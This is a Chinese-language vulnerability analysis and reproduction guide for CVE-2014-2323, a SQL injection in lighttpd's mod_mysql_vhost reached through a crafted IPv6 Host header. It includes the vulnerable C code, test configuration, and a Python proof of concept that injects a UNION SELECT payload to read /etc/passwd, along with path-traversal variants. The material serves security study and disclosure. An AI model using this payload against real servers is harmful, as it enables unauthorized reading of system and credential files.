漏洞描述:request.c中request_check_hostname函数处理HTTP请求头中的主机名时,对IPV6格式的主机名检查不够严格,导致任意的不指定访问端口的IPV6主机名都能通过检查,而mod_mysql_vhost在获取各虚拟主机所处根目录时,会使用主机名作为查询参数,导致了SQL注入漏洞的存在。
41 /* IPv6 adress */
42 if (host->ptr[0] == '[') { //使用‘[’激活IPV6地址检查
43 char *c = host->ptr + 1;
44 int colon_cnt = 0;
45
46 /* check portnumber */
47 for (; *c && *c != ']'; c++) {//检查IPV6地址中是否包含非法字符
48 if (*c == ':') {
49 if (++colon_cnt > 7) {
50 return -1;
51 }
52 } else if (!light_isxdigit(*c) && '.' != *c) {
53 return -1;
54 }
55 }
56
57 /* missing ] */
58 if (!*c) {
59 return -1;
60 }
61
62 /* check port */
63 if (*(c+1) == ':') {//如果‘]’后不为':8080'这种标示访问端口的写法,直接返回0,表示主机名检查无误。
64 for (c += 2; *c; c++) {
65 if (!light_isdigit(*c)) {
66 return -1;
67 }
68 }
69 }
70 return 0;
71 }
漏洞重现:
搭建测试环境:
下载lighttpd 1.4.34或之前的版本,解压编译。(要开启mysql连结功能,lighttpd需要使用--with-mysql配置编译。)
为lighttpd开启mod_mysql_vhost模块:(mod_evhost、mod_simple_vhost、mod_mysql_vhost只能开启其中一个)
server.modules = (
"mod_mysql_vhost",
# "mod_simple_vhost",
# "mod_evhost",
配置好mod_mysql_vhost模块参数:(
官方配置文档)
mysql-vhost.db = "lighttpd"
mysql-vhost.user = "lighttpd"
mysql-vhost.pass = "secret"
mysql-vhost.sql = "SELECT docroot FROM domains WHERE domain='?';"
mysql-vhost.hostname = "localhost"
mysql-vhost.port = 3306
重新操作步骤:
修改发送至lighttp的HTTP请求中的Host Header为类似如下的方式:
"Host": "[]' unoin select '/"
[]是为了激活request_check_hostname函数的IPV6地址检查,其后紧随我们构造的SQL注入语句。
如上地址在通过request_check_hostname函数的检查后,会被作为主机名填入SQL查询语句:
如根据之前配置参数中的
mysql-vhost.sql = "SELECT docroot FROM domains WHERE domain='?';"
lighttp将生成查询语句:
SELECT docroot FROM domains WHERE domain='[]' unoin select '/';
此语句的查询结果‘/’将被用作访问页面所在的目录。
假设客户提交的请求为'GET /etc/passwd HTTP 1.1'
那么lighttp将在根目录‘/’下查找/etc/passwd文件,并将文件内容发送给客户端。
Python测试代码:
# encoding=utf8
import urllib
import urllib2
import cookielib
import re
import hashlib
import gzip
import StringIO
import random
# ##登录页的url
#baseURL = 'http://127.0.0.1/index.php'
baseURL = 'http://127.0.0.1/etc/passwd'
cj = cookielib.CookieJar()
cookie_support = urllib2.HTTPCookieProcessor(cj)
hds = {'Accept-Encoding': 'gzip,deflate,sdch',
# 'Host': '[]/../../www2',
# 'Host': '[]/../../../../../etc',
'Host': '[::1]\' UNION SELECT \'/',
# 'Host': '[::1]\' UNION SELECT \'/usr/local/lighttpd/www2/',
# 'Host': '[::1]',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36' }
req = urllib2.Request(url=baseURL, headers=hds)
opener = urllib2.build_opener(cookie_support)
response = opener.open(req)
page = response.read()
print page
参考资料:
1、http://www.cvedetails.com/cve/CVE-2014-2323
2、http://download.lighttpd.net/lighttpd/security/lighttpd_sa_2014_01.txt
3、http://redmine.lighttpd.net/projects/1/wiki/Docs_ModMySQLVhost